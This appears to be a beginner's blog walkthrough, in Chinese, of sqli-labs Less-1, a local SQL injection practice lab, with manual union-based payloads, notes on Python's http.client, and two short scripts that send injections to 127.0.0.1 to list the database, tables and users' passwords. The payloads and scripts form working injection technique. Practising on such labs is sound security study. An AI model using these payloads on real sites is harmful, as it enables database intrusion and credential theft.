Sqli-labs闯关详解带python脚本详解

Sqli-labs-less1

*作为一个萌新小白,学了一段时间的python和web安全类的知识,打算写一点东西记录自己的成长。 尽量每一个关卡都利用python不同的风骚姿势。*

Sqli-labs闯关详解带python脚本详解_第1张图片
先来一波手工注入:

url = 127.0.0.1/sqli-labs-master/Less-1/

?id=-1' order by 3 --+  
?id=-1' union select 1,database(),3 --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1' union select 1,username,password from users where id=3%23

当每次首先注入的时候首先单引号或者双引号注入,猜测sql的源码符号的闭合,以及回显的的错误信息来进行构造payload,具体详情我会在下篇文章单独介绍

以下python脚本的一些基础知识掌握

工具python3.x 在这里提到http.client 在python2.x中没有这个库 还有httplib是一个相对底层的http请求模块,其上有专门的包装模块,如urllib内建模块,goto等第三方模块,但是封装的越高就越不灵活,比如urllib模块里请求错误时就不会返回结果页的内容,只有头信息,对于某些需要检测错误请求返回值的场景就不适用。

1、class httplib.HTTPConnection

说明:该类用于创建一个http类型的请求链接

原型:
HTTPConnection(host[, port[, strict[, timeout]]])
host: 请求的服务器host,不能带http://开头
port: 服务器web服务端口
strict: 是否严格检查请求的状态行,就是http1.0/1.1 协议版本的那一行,即请求的第一行,默认为False,为True时检查错误会抛异常
timeout: 单次请求的超时时间,没有时默认使用httplib模块内的全局的超时时间

实例

conn1 = HTTPConnection('www.cjhsunny.xyz')

返回:HTTPConnection类会实例并返回一个HTTPConnection对象

2、HTTPConnection对象request方法:
说明:发送一个请求

原型:conn.request(method, url[, body[, headers]])

method: 请求的方式,如’GET’,‘POST’,‘HEAD’,‘PUT’,‘DELETE’等
url: 请求的网页路径。如:’/index.html’
body: 请求是否带数据,该参数是一个字典
headers: 请求是否带头信息,该参数是一个字典,不过键的名字是指定的http头关键字

conn.request('GET', '/', '', {'user-agent':'test'})

3、HTTPConnection函数
httplib.HTTPConnection(host[,port[,stict[,timeout]]])

这个是构造函数,表示一次与服务器之间的交互,即请求/响应
host 标识服务器主机(服务器IP或域名)
port 默认值是80
strict 模式是False,表示无法解析服务器返回的状态行时,是否抛出BadStatusLine异常
例如:

conn = httplib.HTTPConnection(“www.baidu.com”,80) 与服务器建立链接。

4、HTTPConnection.getresponse()函数
这个是获取http响应,返回的对象是HTTPResponse的实例。

5、HTTPResponse对象read方法
说明:获得http响应的内容部分,即网页源码

原型:body = res.read([amt])
amt: 读取指定长度的字符,默认为空,即读取所有内容

body = r.read()
pbody = res.read(10)

6、HTTPConnection对象close()方法
说明:关闭指定的httpconnect链接

实例:

conn.close()

其实在不是盲注的情况下一般利用手工注入或者sqlmap就可以了。因为不需要猜解库名的长度和acsii值

我觉得这个无非就是利用http响应请求获得网页源码的一种信息。哈哈 并不算的上python直接爆取数据库的名称

python脚本获取数据库名
import urllib.parse
import http.client

url = "127.0.0.1"
body= "/sqli-labs-master/Less-1/?id=-1'%20union%20select%201,database(),3%20--+"
conn = http.client.HTTPConnection(url)
conn.request("GET", body)
r = conn.getresponse()
print(r.status, r.reason)
database = r.read()
print(database)

python获取表名称
# -*- coding: utf-8 -*-
import urllib.parse
import http.client

url = "127.0.0.1"     
#url作为一个请求页面 host: 请求的服务器host,不能带http://开头
body= "/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+"
#body 需要提交到服务器的数据。
conn = http.client.HTTPConnection(url)
#与服务器建立链接
conn.request("GET", body)
#body: 请求是否带数据,该参数是一个字典
r = conn.getresponse()
#获取一个http响应对象,相当于执行最后的2个回车 HTTPResponse对象
table = r.read()
#获得http响应的内容部分,即网页源码
print(table)


依次类推、1,2,3,4关卡都是如此。

你可能感兴趣的:(web安全)